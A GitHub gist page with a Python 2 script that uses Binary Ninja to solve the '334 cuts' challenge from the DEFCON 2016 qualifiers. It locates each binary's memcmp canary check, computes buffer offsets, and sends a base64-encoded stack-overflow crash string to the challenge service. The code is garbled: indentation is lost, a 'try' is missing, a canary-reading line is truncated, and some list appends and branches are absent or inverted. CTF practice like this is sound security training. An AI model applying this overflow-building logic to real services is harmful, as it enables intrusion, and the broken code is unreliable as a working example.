Skip to content

Instantly share code, notes, and snippets.



Last active Apr 13, 2018
What would you like to do?
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
#!/usr/bin/env python
import sys
import binaryninja
except ImportError:
import binaryninja
import time
import socket
import base64
s = socket.socket()
s.connect(('', 10334))
print "Msg: " + s.recv(1024)
def readUntil(s, delim):
msg = ""
while delim not in msg:
msg += s.recv(1)
return msg
msg = readUntil(s, '\n')
while True:
# They send us the challenge name to process.
msg = readUntil(s, '\n')
if 'segfault' in msg:
print msg
chal = msg.strip()
# Open a binary view to the challenge as an elf
print "Analyzing {0}".format(chal)
bv = binaryninja.BinaryViewType["ELF"].open(chal)
time.sleep(0.1) # bandaid until there's blocking analysis
# start at the entry point
print "Entry Point: {0:x}".format(bv.entry_point)
entry = bv.entry_function # Get the entry point as a function object
start = None
# Iterate over the basic blocks in the entry function
entry_calls = []
for block in entry.low_level_il:
# Iterate over the basic blocks getting il instructions
for il in block:
# We only care about calls
if il.operation == binaryninja.core.LLIL_CALL:
start_call = entry_calls[1]
start = bv.get_function_at(bv.platform, start_call.operands[0].value)
print "start: {0}".format(start)
# Do the same thing with main, it's the first call in start
main = None
for block in start.low_level_il:
for il in block:
if il.operation != binaryninja.core.LLIL_CALL:
main = bv.get_function_at(bv.platform, il.operands[0].value)
print "main: {0}".format(main)
# Collect all the call instructions in main
calls = []
for block in main.low_level_il:
for il in block:
if il.operation == binaryninja.core.LLIL_CALL:
# If there are 5 calls, then the memcmp is the second call. With 6 calls its the 3rd.
if len(calls) == 5:
read_buf = calls[0]
memcmp = calls[1]
read_buf = calls[1]
memcmp = calls[2]
# Query the parameters to the memcmp
# memcmp(dst, src, length)
canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0)
canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1)
canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2)
# Use that to read the canary
canary =, canary_width.value)
buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0)
# The canary is between the buffer and the saved stack registers
buffer_size = (buffer_frame.offset - canary_frame.offset) * -1
print buffer_size
# Fill up the buffer
crash_string = "a" * buffer_size
# Append the checked bytes of the canary check (it's always 4)
crash_string += canary[:canary_width.value]
# Pad out the rest of the string canary buffer
crash_string += "a" * ((canary_frame.offset * - 1) - canary_width.value)
# overwrite the saved registers
crash_string += 'eeee'
crash_string += '\n'
# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64
# Send the crashing string
s.send(b64 + "\n")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment